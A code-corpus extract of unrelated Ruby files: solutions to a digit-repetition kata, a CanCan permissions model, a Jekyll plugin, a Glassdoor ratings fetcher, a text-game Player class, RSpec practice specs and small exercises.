Practices0 Clever0 0 Fork Compare with your solution Link lnfinity def triple_double(num1,num2) i1 = 2 num1 = num1.to_s num2 = num2.to_s while i1<num1.length if num1[i1]==num1[i1-1] && num1[i1]==num1[i1-2] i2=1 while i2<num2.length if num2[i2]==num1[i1] && num2[i2]==num2[i2-1] return 1 end i2+=1 end end i1+=1 end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link hzfanfei def getByCount(num, c) s = num.to_s w = s.length return -1 if w < c n = w - c + 1 result = [] for i in 0..n-1 same = s[i] right = true for j in 1..(c-1) right = false if s[i+j] != same end result.push(same) if right == true && result.index(same) == nil end return result end def triple_double(num1,num2) r1 = getByCount(num1, 3) return 0 if r1 == -1 r2 = getByCount(num2, 2) return 0 if r2 == -1 r1.each do |i| r2.each do |j| return 1 if i == j end end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link xwu5300 def triple_double(num1,num2) num1 = num1.to_s.chars.chunk{ |x| x }.map(&:last).select{ |x| x.count > 2 }.flatten.uniq num2 = num2.to_s.chars.chunk{ |x| x }.map(&:last).select{ |x| x.count > 1 }.flatten.uniq (num1 & num2).empty? ? 0 : 1 end Best Practices0 Clever0 0 Fork Compare with your solution Link bagdenia def triple_double(num1,num2) num1.to_s.scan(/(.)\1{2}/).flatten.map{ |e| num2.to_s.include?(e*2) ? 1 : 0 }.include?(1) ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link bertshin def triple_double(num1,num2) array1 = num1.to_s.split('') array2 = num2.to_s.split('') conditional1 = false conitional2 = false idx = 0 while idx < array1.length - 2 if array1[idx] == array1[idx+1] && array1[idx] == array1[idx+2] conditional1 = true end idx += 1 end idx = 0 while idx < array2.length - 1 if array2[idx] == array2[idx+1] conditional2 = true end idx += 1 end if conditional1 == true && conditional2 == true return 1 else return 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link ttillotson def triple_double(num1,num2) #your code here idx1 = 0 idx2 = 0 n1 = num1.to_s n2 = num2.to_s while idx1 < n1.length if n1[idx1] == n1[idx1 + 1] && n1[idx1] == n1[idx1 + 2] #&& n1[idx1] == n1[idx1 + 1] while idx2 < n2.length if n2[idx2] == n2[idx2 + 1] #&& n2[idx2] == n2[idx2 + 1] return 1 end idx2+=1 end end idx1+=1 end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link Kaoxyooj def triple_double(num1,num2) a = to_array(num1).each_with_index.map{|x,i| x == to_array(num1)[i+1] && x == to_array(num1)[i+2] ? x.to_i : nil }.compact b = to_array(num2).each_with_index.map{|x,i| x == to_array(num2)[i+1] ? x.to_i : nil }.compact a.any? && (b.any? && b.include?(a[0]) ) ? 1 : 0 end def to_array(num) num.to_s.split('') end Best Practices0 Clever0 0 Fork Compare with your solution Link sansae def triple_double(num1,num2) num1_arr = num1.to_s.split("") num2_arr = num2.to_s.split("") count = 1 num1_arr.each_with_index {|arr1_num, idx| arr1_current_num = arr1_num if arr1_current_num == num1_arr[idx + 1] count += 1 if count == 3 count = 1 num2_arr.each_with_index {|arr2_num, idx| if arr1_current_num == arr2_num arr2_current_num = arr2_num if arr2_current_num == num2_arr[idx + 1] count += 1 return 1 if count == 2 end end } count = 1 end end } 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link guest_ysgy4edkxw8 def triple_double(num1,num2) num1_arr = num1.to_s.split("") num2_arr = num2.to_s.split("") count = 1 num1_arr.each_with_index {|arr1_num, idx| arr1_current_num = arr1_num if arr1_current_num == num1_arr[idx + 1] count += 1 if count == 3 count = 1 num2_arr.each_with_index {|arr2_num, idx| if arr1_current_num == arr2_num arr2_current_num = arr2_num if arr2_current_num == num2_arr[idx + 1] count += 1 if count == 2 return 1 end end end } count = 1 end else count = 1 end } 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link sansae def triple_double(num1,num2) num1_arr = num1.to_s.split("") num2_arr = num2.to_s.split("") count = 1 num1_arr.each_with_index {|arr1_num, idx| arr1_current_num = arr1_num if arr1_current_num == num1_arr[idx + 1] #check if arr1_current_num appears 3x consecutively in num1_arr count += 1 if count == 3 count = 1 num2_arr.each_with_index {|arr2_num, idx| if arr1_current_num == arr2_num arr2_current_num = arr2_num if arr2_current_num == num2_arr[idx + 1]#check if arr1_current_num appears 2x consecutively in num2_arr count += 1 if count == 2 return 1 end end end } count = 1 end end } 0 end # triple_double(81666112292143632577482921, 5226611445918775358735020889)#expects 1 triple_double(87666589021297460965097560001930, 6967009410805864239)#expects 1 # triple_double(451999277, 41177722899)#, 1) # triple_double(1222345, 12345)#, 0) # triple_double(12345, 12345)#, 0) # triple_double(666789, 12345667)#, 1) # triple_double(10560002, 100)#, 1) Best Practices0 Clever0 0 Fork Compare with your solution Link codewick def triple_double(num1,num2) #your code here arr1 = num1.to_s.scan(/./) arr2 = num2.to_s.scan(/./) i = 0 x = 0 j = 0 while i < arr1.length do if arr1[i] == arr1[i+1] and arr1[i+1] == arr1[i+2] x = arr1[i] while j < arr2.length do if arr2[j] == x and arr2[j] == arr2[j+1] r = 1 end j = j + 1 end end i = i + 1 end if r == 1 return 1 else return 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link Simbidion def triple_double(num1,num2) array = num1.to_s.chars array2 = num2.to_s.chars n = 0 triple_array = [] array.each do |number| if number == array[n+1] && number == array[n+2] triple_array << number end n = n+1 end double_array = [] n1 = 0 array2.each do |number| if number == array2[n1+1] double_array << number end n1 = n1+1 end answer = 0 triple_array.each do |number| if double_array.include?(number) answer = 1 else answer = 0 end end answer end Best Practices0 Clever0 0 Fork Compare with your solution Link chloejin525 def triple_double(num1,num2) return 0 if check_repeat(num1.to_s, 3, []) == [] res = check_repeat(num2.to_s, 2, check_repeat(num1.to_s, 3, [])) return 1 if res && res!=[] return 0 end # write a function to check different patterns def check_repeat(str, time, pattern) count = 0 if pattern == [] last = '0' str.each_char do |c| c == last ? (count+=1) : (count=0) last = c if count==time-1 pattern << c count = 0 end end return pattern else pattern.each do |p| str.each_char do |c| c == p ? (count+=1) : (count=0) return true if count == time end end end return false end Best Practices0 Clever0 0 Fork Compare with your solution Link chloejin525 def triple_double(num1,num2) return 1 if two(num2.to_s, three(num1.to_s)) return 0 end def three(str) count = 1 last = '0' pattern = [] str.each_char do |c| c == last ? (count+=1) : (count=1) last = c if count==3 pattern << c count = 1 end end pattern end def two(str, pattern) count = 0 pattern.each do |p| str.each_char do |c| c == p ? (count+=1) : (count=0) return true if count == 2 end end return false end Best Practices0 Clever0 0 Fork Compare with your solution Link ebf916 def triple_double(num1,num2) doubles = [] (0...(num2.to_s.length - 1)).each do |i| if num2.to_s[i] == num2.to_s[i + 1] doubles << num2.to_s[i] end end (0...(num1.to_s.length - 2)).each do |i| return 1 if (num1.to_s[i] == num1.to_s[i + 1]) && (num1.to_s[i] == num1.to_s[i + 2]) && (doubles.include?(num1.to_s[i])) end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link sarabilmeswd2017 def triple_double(num1,num2) num1_string = num1.to_s num2_string = num2.to_s if (num1_string.include? "000") && (num2_string.include? "00") p 1 elsif (num1_string.include? "111") && (num2_string.include? "11") p 1 elsif (num1_string.include? "222") && (num2_string.include? "22") p 1 elsif (num1_string.include? "333") && (num2_string.include? "33") p 1 elsif (num1_string.include? "444") && (num2_string.include? "44") p 1 elsif (num1_string.include? "555") && (num2_string.include? "55") p 1 elsif (num1_string.include? "666") && (num2_string.include? "66") p 1 elsif (num1_string.include? "777") && (num2_string.include? "77") p 1 elsif (num1_string.include? "888") && (num2_string.include? "88") p 1 elsif (num1_string.include? "999") && (num2_string.include? "99") p 1 else p 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link paulaburke def triple_double(num1,num2) results = 0 num1_arr = num1.to_s.split(//) num2_arr = num2.to_s.split(//) num1_arr.each_with_index do |n, i| if (i+2) <= num1_arr.length if n == num1_arr[i+1] and n == num1_arr[i+2] num2_arr.each_with_index do |m, i| if (i+1) <= num2_arr.length if m == n and m == num2_arr[i+1] results = 1 end end end end end end results end Best Practices0 Clever0 0 Fork Compare with your solution Link hlaaftana def triple_double(num1,num2) (0..9).find_all { |x| num1.to_s.include?(x.to_s * 3) } .any? { |x| num2.to_s.include?(x.to_s * 2) } ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link wongkx def triple_double(num1,num2) num1Array = num1.to_s.chars.map(&:to_i) num2Array = num2.to_s.chars.map(&:to_i) straight = nil num1Array.each_with_index { |v,i| straight = v if num1Array[i+1] == num1Array[i] && num1Array[i+2] == num1Array[i] } num2Array.each_with_index do |v,i| if (num2Array[i] == straight && num2Array[i+1] == straight) return 1 end end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link michal8888 def triple_double(num1,num2) numbers = num1.to_s.scan(/(\d)\1\1/) return 0 if numbers.empty? numbers.flatten!.map! { |i| num2.to_s.scan(/#{i}{2}/) } numbers.flatten.empty? ? 0 : 1 end Best Practices0 Clever0 0 Fork Compare with your solution Link ajkchang def triple_double(num1,num2) def triple?(num) num_arr = num.to_s.split("") num_arr.each_with_index do |int, idx| unless num_arr[idx + 1] == nil || num_arr[idx + 2] == nil return true if (num_arr[idx - 1] == num_arr[idx] && num_arr[idx] == num_arr[idx + 1]) && ((num_arr[idx -2] && num_arr[idx + 2]) != num_arr[idx]) end end false end def double?(num) num_arr = num.to_s.split("") num_arr.each_with_index do |int, idx| unless (num_arr[idx + 1] == nil && num_arr[idx + 2] == nil) return true if ((num_arr[idx - 1] != num_arr[idx]) && (num_arr[idx + 1] == num_arr[idx]) && (num_arr[idx + 2] != num_arr[idx])) end end false end if triple?(num1) == true && double?(num2) == true result = 1 else result = 0 end result end Best Practices0 Clever0 0 Fork Compare with your solution Link quochien def triple_double(num1,num2) return 0 unless num1.to_s.chars.each_cons(3).map { |a,b,c| (a==b) && (a==c) }.include?(true) return 0 unless num2.to_s.chars.each_cons(2).map { |a,b| a==b }.include?(true) 1 end Best Practices0 Clever0 0 Fork Compare with your solution Link MartinQc def triple_double(num1,num2) "#{num1} #{num2}" =~ /(\d)\1\1.* .*\1\1/ ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link mirceal def triple_double(num1,num2) ('0'..'9').each do |s| return 1 if num1.to_s.include?(s*3) && num2.to_s.include?(s*2) end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link peiyush13 def triple_double(num1,num2) arr=[] num1.to_s.chars.each_cons(3){|num| arr.push(num[1..2].join('')) if num[0]==num[1]&& num[1]==num[2] } num2.to_s.chars.each_cons(2){ |num| return 1 if arr.include?(num.join(''))} return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link ihmoda def triple_double(num1,num2) triple = false double = false start_index = nil num1array = num1.to_s.split("") num2array = num2.to_s.split("") num1array.each_with_index do |num, idx| if idx > num1array.length - 2 elsif num1array[idx] == num1array[idx+1] && num1array[idx+1] == num1array[idx+2] triple = true end end num2array.each_with_index do |num, idx| if idx > num2array.length - 1 elsif num2array[idx] == num2array[idx+1] double = true end end if triple == true && double == true return 1 else return 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link
true
3804d8ab95edd5e4341e75b74884254966738d66
Ruby
relaxdiego/mign
/app/models/ability.rb
UTF-8
1,755
2.671875
3
[ "MIT" ]
permissive
class Ability include CanCan::Ability def initialize(user) # Define abilities for the passed in user here. For example: # # user ||= User.new # guest user (not logged in) # if user.admin? # can :manage, :all # else # can :read, :all # end # # The first argument to `can` is the action you are giving the user permission to do. # If you pass :manage it will apply to every action. Other common actions here are # :read, :create, :update and :destroy. # # The second argument is the resource the user can perform the action on. If you pass # :all it will apply to every resource. Otherwise pass a Ruby class of the resource. # # The third argument is an optional hash of conditions to further filter the objects. # For example, here the user can only update published articles. # # can :update, Article, :published => true # # See the wiki for details: https://github.com/ryanb/cancan/wiki/Defining-Abilities can :create, Workspace can :manage, Workspace do |workspace| user.owned_workspaces.include?(workspace) end can :read, Workspace do |workspace| workspace.members.include?(user) end can :create, Membership do |membership| if membership.workspace_id.nil? # The user is trying to access the form true else user.owned_workspaces.include?(Workspace.find(membership.workspace_id)) end end can :manage, Ticket do |ticket| if ticket.workspace_id.nil? true else ticket.workspace.members.include? user end end can :create, Comment do |comment| comment.ticket.workspace.members.include?(user) end end end
true
ddfea7bb9fa25e445f6409389ad098dab5ff3d5c
Ruby
josegonzalez/ruby-cimino
/_plugins/tags/strip.rb
UTF-8
462
2.515625
3
[ "MIT" ]
permissive
# Title: StripTag # Source: https://github.com/aucor/jekyll-plugins/blob/master/strip.rb # Description: Replaces multiple newlines and whitespace between them with one newline # Usage: {% strip %}Content{% endstrip %} module Jekyll class StripTag < Liquid::Block def render(context) return super if Liquid::Tag.disabled?(context, 'strip') super.gsub /\n\s*\n/, "\n" end end end Liquid::Template.register_tag('strip', Jekyll::StripTag)
true
f58fdaef234da26cfa4b13819eeadd72eb6dd1b3
Ruby
yxlau/project_sinatra_dashboard
/models/company_profiler.rb
UTF-8
1,524
2.625
3
[]
no_license
class CompanyProfiler attr_reader :ratings def initialize(listings, ip) @listings = listings @ip = ip @ratings = [] end def get_company_ratings get_companies get_ratings end def get_companies @companies = [] @listings.each do |listing| unless @companies.include?(listing.company) @companies << listing.company unless listing.company == 'Confidential Company' end end end def get_ratings @companies.each do |company| response = HTTParty.get("http://api.glassdoor.com/api/api.htm?t.p=#{ENV['GD_id']}&t.k=#{ENV['GD_key']}&userip=#{@ip}&useragent=Mozilla/%2F5.0&format=json&v=1&action=employers&q=#{company}") unless response['response']['employers'].empty? @ratings << parse_response(response, company) if parse_response(response, company) end sleep 1 end end def parse_response(response, company) response = response['response']['employers'] response.each do |r| if company.include?(r['name']) return Rating.new(company, r['overallRating'], r['cultureAndValuesRating'], r['compensationAndBenefitsRating'], featured_summary(r), featured_url(r) ) end end nil end def featured_summary(response) if f = response['featuredReview'] return response['featuredReview']['attributionURL'] end '' end def featured_url(response) return response['featuredReview']['attributionURL'] if response['featuredReview'] '' end end
true
48be8e6787224f116bd3869a2fe37331951b4171
Ruby
Joecleverman/event-organizer-app
/app/models/event.rb
UTF-8
645
2.578125
3
[ "MIT" ]
permissive
class Event < ActiveRecord::Base belongs_to :user has_many :attenders, dependent: :destroy has_many :contractors, dependent: :destroy validates_presence_of :name def formatted_date self.date.strftime("%A %B %e, %Y") end def confirmed_attenders self.attenders.select {|attender| attender.rsvp } end def total_contractor_cost self.contractors.inject(0){|sum, contractor| sum + contractor.cost } end def avg_contractor_cost unless self.contractors.count == 0 total_contractor_cost / self.contractors.count end end end
true
2dc9206c7495299c955aa67e7d3d7057117e17b8
Ruby
jtanadi/LS-IntroRuby
/2-Variables/age.rb
UTF-8
159
3.78125
4
[]
no_license
puts "How old are you?" input_age = gets.chomp.to_i offset = 10 4.times do puts "In #{offset} years you will be:\n#{input_age + offset}" offset += 10 end
true
a37e4eb92a060cf1f8c8362abd21e631175b5549
Ruby
hpnguyen/demo_social
/app/workers/resque_log.rb
UTF-8
435
2.8125
3
[]
no_license
class ResqueLog @queue = :log_queue def self.perform(id, message) my_time = Time.now begin if message.kind_of?(Array) message.each do |item| puts "[#{my_time.to_datetime}] #{id} : #{item}" end else puts "[#{my_time.to_datetime}] #{id} : #{message}" end rescue Exception => e puts "[#{my_time.to_datetime}] #{id} : Error message: #{e.message}" raise end end end
true
cc4e028efd79f6b090c64a4e49c8b9274964a8af
Ruby
olsi2984/Ruby_Practice
/string_methods.rb
UTF-8
295
3.640625
4
[]
no_license
var1 = 'stop' var2 = 'STRESSED' var3 = 'Can you pronounce this sentence backwards?' puts var1.reverse puts var2.reverse puts var3.reverse puts var1.upcase puts var2.downcase puts var3.swapcase lineWidth = 50 puts var1.center(lineWidth) puts var2.center(lineWidth) puts var3.center(lineWidth)
true
ba270fe60da095bff052219041db7f15e93ca756
Ruby
kelvin8773/data-algorithm
/8-leetcode/078-sub_sets.rb
UTF-8
471
3.515625
4
[ "MIT" ]
permissive
# @param {Integer[]} nums # @return {Integer[][]} # Ruby build-in method for this challenge! def subsets_r(nums) result = [] for i in 0..nums.size result += nums.combination(i).to_a end result end def subsets(nums) return [[]] if nums.empty? curr_num = nums.shift results = subsets(nums) results += results.each_with_object([]) do |sub_set, array| array << (sub_set + [curr_num]) end results end p subsets([1,2,3])
true
9026ce1db64c5448a2f30acdd9c53f4b3c529aba
Ruby
littlegustv/redemption
/player.rb
UTF-8
9,855
2.90625
3
[]
no_license
class Player < Mobile # @return [TCPSocket, nil] The Client Connection. attr_reader :client # @return [Integer] The account ID associated with this player. attr_reader :account_id # # Player Initializer. # # @param [PlayerModel] player_model The model used to generate this player object. # @param [Room] room The room this player is going into. # @param [TCPSocket] client The client connection for the player. # def initialize( player_model, room, client ) super(player_model, room) @name = player_model.name @creation_points = player_model.creation_points @account_id = player_model.account_id @buffer = "" @delayed_buffer = "" @scroll = 60 @client = client # @type [Array<Array<Command, String>>] # The array of inputs for this player to execute. @commands = [] end # # Destroys this player. # Disconnects it from its client. # Calls Game#remove_player to remove the player from global lists. # # @return [nil] # def destroy Game.instance.remove_player(self) if @client @client.player = nil @client = nil end super end # this method basically has to undo a Player#destroy call def reconnect( client ) if @client @client.disconnect end if !@active @affects.each do |affect| affect.active = true # Game.instance.add_global_affect(affect) end self.items.each do |item| Game.instance.add_global_item(item) if item.affects item.affects.each do |affect| affect.active = true # Game.instance.add_global_affect(affect) end end end end @client = client @active = true end # # Receive input from the client. What this method does is add the input and its associated # Command to @commands. Next time `process_commands` is called ( _not_ a client method), # all valid commands will be executed. # # __This is a client thread method__ # # @param [String] s The input for this player. # # @return [nil] # def input(s) s = s.chomp.to_s if @delayed_buffer.length > 0 && s.length > 0 @delayed_buffer = "" end s = s.sanitize cmd_keyword = s.to_args[0].to_s command = Game.instance.find_commands( self, cmd_keyword ).last @commands.push([command, s]) return end # Called when a player first logs in. def login output "Welcome, #{@name}." move_to_room(@room) (@room.occupants - [self]).each_output("0<N> has entered the game.", [self]) end # # Player output actually does the parsing of formats and replacement of object pronouns. # # @param [String] message The message format. # @param [Array<GameObject>, GameObject] objects The GameObjects to use in the format. # # @return [nil] # def output( message, objects = [] ) if !@active return end objects = [objects].flatten message = message.dup # verb conjugation replacement # # [0] => entire match "0{drop, drops}" # [1] => object index "0" # [2] => first person result "drop" # [3] => third person result "drops" message.scan(/((\d+)<\s*([^<>]*)\s*,\s*([^<>]*)\s*>)/i).each do |match_group| index = match_group[1].to_i to_replace = match_group[0] replacement = match_group[3] # default to second option if index < objects.length && index >= 0 obj = objects[index] if obj == self # replace with first string if object in question is self replacement = match_group[2] end end message.sub!(to_replace, replacement) end # noun/pronoun replacement # # [0] => entire match "0{An}'s'" # [1] => object index "0" # [2] => aura option "A" # [3] => replacement option "n" # [4] => possessive "'s" message.scan(/((\d+)<([Aa]?)([#{Constants::OutputFormat::REPLACE_HASH.keys.join}])>('s)?)/i).each do |match_group| index = match_group[1].to_i to_replace = match_group[0] replacement = "~" # default replacement - SHOULD get swapped with something! if index < objects.length && index >= 0 obj = objects[index] replacement = "" case match_group[2] when "a" replacement.concat(obj.short_auras) when "A" replacement.concat(obj.long_auras) end noun = self.send(Constants::OutputFormat::REPLACE_HASH[match_group[3].downcase], obj).dup if match_group[3] == match_group[3].upcase noun.capitalize_first! end replacement.concat(noun) possessive = match_group[4] # match on possessive! ("'s") if obj == self && match_group[3].downcase == "n" && possessive == "'s" possessive = "r" end if possessive replacement.concat(possessive) end end message.sub!(to_replace, replacement) end message.gsub!(/>>/, ">") message.gsub!(/<</, "<") @buffer += message.capitalize_first + "\n" return end # # Delayed output is how text gets broken up when it's too long and sent in chunks. # This method is only called from the WhiteSpace command. # # @return [nil] # def delayed_output if @delayed_buffer.length > 0 @buffer += @delayed_buffer @delayed_buffer = "" else @buffer += " " end return end # # The player's prompt. # # @return [String] The prompt. # def prompt "{c<#{@health.to_i}/#{max_health}hp #{@mana.to_i}/#{max_mana}mp #{@movement.to_i}/#{max_movement}mv>{x" end # # Sends the current output (or some portion of it) to the Client. # If the output buffer is too large, the extra portion will be saved in @delayed_buffer # to be output later (or not, if the client opts out). # # @return [nil] # def send_to_client if @buffer.length > 0 @buffer += @attacking.condition if @attacking lines = @buffer.split("\n", 1 + @scroll) @delayed_buffer = (lines.count > @scroll ? lines.pop : @delayed_buffer) out = lines.join("\n") if @delayed_buffer.length == 0 out += "\n#{prompt}" else out += "\n\n[Hit Return to continue]" end @client.send_output(out) @buffer = "" end end # # Override of Mobile#die because player death is handled differently (respawning!). # # @param [GameObject] killer The killer. # # @return [nil] # def die( killer ) super(killer) @affects.each do |affect| affect.clear(true) if !affect.permanent end room = @room.continent.recall_room move_to_room( room ) @health = 10 @position = :resting.to_position end # # Quit the player. # # @param [Boolean] silent True if the quitting should be silent. # @param [Boolean] save True if the player should trigger a game-wide save. (default: true) # # @return [Boolean] True if the player was quit successfully. # def quit(silent = false, save = true) if save Game.instance.save end stop_combat if !silent (@room.occupants - [self]).each_output "0<N> has left the game.", self end @buffer = "" if @client if !silent @client.send_output("Alas, all good things must come to an end.\n") @client.list_characters end @client.player = nil @client = nil end destroy return true end # # Process commands. # # Any zero lag commands are processed instantly. Up to one non-zero lag command will # be processed if the player is not currently lagged from some other cause. # # @return [nil] # def process_commands frame_time = Game.instance.frame_time if @lag && @lag <= frame_time @lag = nil end if @casting if rand(1..100) > stat(:failure) @casting.execute( self, @casting.name, @casting_args, @casting_input ) @casting = nil @casting_args = [] else output "You lost your concentration." @casting = nil @casting_args = [] end end @commands.each_with_index do |cmd_array, index| if !cmd_array[0] || cmd_array[0].lag == 0 || (!@lag) do_command(cmd_array[1]) @commands[index] = nil end end @commands.reject!(&:nil?) return end # # Override of Mobile#is_player? to return true. # # @return [Boolean] True. # def is_player? return true end end
true
564644b05517012871ef088416a0a42fc7231ec8
Ruby
Halvard75/thp-1
/WEEK_2/week2_day2/test/hash_spec.rb
UTF-8
4,084
3.203125
3
[]
no_license
=begin describe Hash do it "should return a blank instance" do Hash.new.should == {} end end describe Hash do before do @hash = Hash.new({:hello => 'world'}) end it "should return a blank instance" do Hash.new.should == {} end it "hash the correct information in a key" do @hash[:hello].should == 'world' end end describe MyClass do describe ".class_method_1" do end describe "#instance_method_1" do end end #1 describe Burger do describe "#apply_ketchup" do context "with ketchup" do before do @burger = Burger.new(:ketchup => true) @burger.apply_ketchup end it "sets the ketchup flag to true" do @burger.has_ketchup_on_it?.should be_true end end context "without ketchup" do before do @burger = Burger.new(:ketchup => false) @burger.apply_ketchup end it "sets the ketchup flag to false" do @burger.has_ketchup_on_it?.should be_false end end end end #2 describe Burger do describe "#apply_ketchup" do context "with ketchup" do let(:burger) { Burger.new(:ketchup => true) } before { burger.apply_ketchup } it "sets the ketchup flag to true" do burger.has_ketchup_on_it?.should be_true end end context "without ketchup" do let(:burger) { Burger.new(:ketchup => false) } before { burger.apply_ketchup } it "sets the ketchup flag to false" do burger.has_ketchup_on_it?.should be_false end end end end #3 describe Burger do describe "#apply_ketchup" do subject { burger } before { burger.apply_ketchup } context "with ketchup" do let(:burger) { Burger.new(:ketchup => true) } specify { subject.has_ketchup_on_it?.should be_true } end context "without ketchup" do let(:burger) { Burger.new(:ketchup => true) } specify { subject.has_ketchup_on_it?.should be_false } end end end #4 class Burger attr_reader :options def initialize(options={}) @options = options end def apply_ketchup @ketchup = @options[:ketchup] end def has_ketchup_on_it? @ketchup end def apply_mustard @mustard = @options[:mustard] end def has_mustard_on_it? @mustard end end describe Burger do describe "#apply_ketchup" do subject { burger } before { burger.apply_ketchup } context "with ketchup" do let(:burger) { Burger.new(:ketchup => true) } it { should have_ketchup_on_it } end context "without ketchup" do let(:burger) { Burger.new(:ketchup => false) } it { should_not have_ketchup_on_it } end end end describe Burger do describe "#apply_mustard" do subject { burger } before { burger.apply_mustard } context "with mustard" do let(:burger) { Burger.new(:mustard => true) } it { should have_mustard_on_it } end context "without mustard" do let(:burger) { Burger.new(:mustard => false) } it { should_not have_mustard_on_it } end end end Burger def test_making_order book = Book.new(:title => "RSpec Intro", :price => 20) customer = Customer.new order = Order.new(customer, book) order.submit assert(customer.orders.last == order) assert(customer.ordered_books.last == book) assert(order.complete?) assert(!order.shipped?) end =end describe Order do describe "#submit" do before do @book = Book.new(:title => "RSpec Intro", :price => 20) @customer = Customer.new @order = Order.new(@customer, @book) @order.submit end describe "customer" do it "puts the ordered book in customer's order history" do expect(@customer.orders).to include(@order) expect(@customer.ordered_books).to include(@book) end end describe "order" do it "is marked as complete" do expect(@order).to be_complete end it "is not yet shipped" do expect(@order).not_to be_shipped end end end end
true
7f79e2e139929bd0d0955a8467c73e49b8f5261c
Ruby
shanecolby/conditionals_1.rb
/HashToArray6.rb
UTF-8
487
2.9375
3
[]
no_license
words = ["do", "or", "do", "not"] word_frequency = {} index = 0 while index < words.length word = words[index] if word_frequency[word] == nil word_frequency[word] = 0 end word_frequency[word] += 1 index += 1 end p word_frequency words = ["do", "or", "do", "not"] word_frequency = {} index = 0 while index < words.length word = words[index] if word_frequency[word] == nil word_frequency[word] = 0 end word_frequency[word] += 1 index += 1 end p word_frequency
true
9315204004e50557ba6ec10e1113230a8659eaab
Ruby
pabloroz/linked_lists
/problem_3/solution.rb
UTF-8
693
3.421875
3
[]
no_license
require './linked_list_node' require './list_infinite_detector' def print_values(list_node) print "#{list_node.value} --> " if list_node.next_node.nil? print "nil\n" return else print_values(list_node.next_node) end end node1 = LinkedListNode.new(37) node2 = LinkedListNode.new(99, node1) node3 = LinkedListNode.new(12, node2) if ListInfiniteDetector.infinite?(node3) puts "Infinite lists." else print_values(node3) end puts "-------" node1 = LinkedListNode.new(37) node2 = LinkedListNode.new(99, node1) node3 = LinkedListNode.new(12, node2) node1.next_node = node3 if ListInfiniteDetector.infinite?(node3) puts "Infinite lists." else print_values(node3) end
true
257dce9476e90f8b8bcd55196435bdfbf6b3bcac
Ruby
bobzoller/muniup
/models.rb
UTF-8
3,936
2.65625
3
[]
no_license
require 'ostruct' require 'open-uri' require 'cgi' module Muniup class Config < OpenStruct def routes @routes ||= begin routes = [] super.each_with_index{|r, idx| routes[idx] = Route.new(idx, r)} routes end end end class Route < OpenStruct attr_accessor :id def initialize(id, data) @id = id super(data) end def options @options ||= begin options = [] super.each_with_index{|o, idx| options[idx] = Option.new(idx, o)} options end end def upcoming_predictions self.predictions.select{|p| p[:departs] && p[:arrives]} end def predictions self.options.map{|o| o.predictions}.flatten.sort_by{|p| p[:finish]} end def fetch_predictions! tuples = self.options.map{|o| o.tuple} Predictor.new(tuples).fetch_predictions.each_with_index do |p, idx| self.options[idx].predictions = p end end end class Option < OpenStruct attr_accessor :id def initialize(id, data) @id = id super(data) end def tuple [self.tag, self.start, self.stop] end def predictions=(new_predictions) new_predictions.each do |p| p[:option_id] = self.id if p[:arrives] p[:finish] = Time.now.utc + (p[:arrives] * 60) + (self.add * 60) end end super(new_predictions) end def fetch_predictions! self.predictions = Predictor.new([self.tuple]).fetch_predictions[0] end end class Predictor def self.get_vehicle_coords(route, vehicle) url = "http://webservices.nextbus.com/service/publicXMLFeed?command=vehicleLocations&a=sf-muni&r=#{CGI.escape(route)}" puts url doc = Nokogiri::XML(open(url)) vehicle = doc.at_xpath("//vehicle[@id='#{vehicle}']") vehicle ? {lat: vehicle['lat'], lon: vehicle['lon']} : nil end # tuples is an array of tuples: [route_tag, start_stop_id, end_stop_id] def initialize(tuples) @tuples = tuples end def url url = 'http://webservices.nextbus.com/service/publicXMLFeed?command=predictionsForMultiStops&a=sf-muni' stop_params = @tuples.map{|t| ["#{t[0]}|null|#{t[1]}", "#{t[0]}|null|#{t[2]}"]}.flatten.uniq url << '&' + stop_params.map{|stop_param| "stops=#{CGI.escape(stop_param)}"}.join('&') puts url url end def fetch_predictions start_tags = @tuples.map{|t| t[1]}.uniq stop_tags = @tuples.map{|t| t[2]}.uniq predictions = [] doc = Nokogiri::XML(open(self.url)) @tuples.each do |route_tag, start_stop_id, end_stop_id| trips = {} # capture the starting stop prediction group = doc.at_xpath("//predictions[@routeTag='#{route_tag}' and @stopTag='#{start_stop_id}']") if group.nil? predictions << [] next end group.xpath('.//prediction').each do |p| trips[p['tripTag']] ||= { title: "#{route_tag} @ #{group['stopTitle']}", vehicle: p['vehicle'], departs: p['minutes'].to_i, arrives: nil } end # captures the ending stop prediction group = doc.at_xpath("//predictions[@routeTag='#{route_tag}' and @stopTag='#{end_stop_id}']") if group.nil? predictions << [] next end group.xpath('.//prediction').each do |p| trips[p['tripTag']] ||= { title: "#{group['routeTitle']} @ #{group['stopTitle']}", vehicle: p['vehicle'], departs: nil } trips[p['tripTag']][:arrives] = p['minutes'].to_i end # selects predictions that have at least an arrival time and sorts by departure time. predictions << trips.values. select{|t| t[:arrives]}. sort_by{|t| t[:departs] || -1} end predictions end end end
true
96c5a1f086639dc5f95893c9a9bac0b927c3a9e2
Ruby
manish4uanand/toy_robot_simulator
/toy_robo.rb
UTF-8
406
3.171875
3
[]
no_license
require_relative 'simulator' simulator = Simulator.new puts "Please enter valid commands, which are as follows:" puts "# \'PLACE X,Y,NORTH|SOUTH|EAST|WEST\', MOVE, LEFT, RIGHT, REPORT" command = STDIN.gets while command command.strip! if command.downcase == "exit" puts "# Bye" exit else output = simulator.execute(command) puts output if output command = STDIN.gets end end
true
b662788fc49f7832b8b0cca6cced3e424e59813e
Ruby
dl184/globalGymRubyProject
/models/signed_up.rb
UTF-8
1,749
2.96875
3
[]
no_license
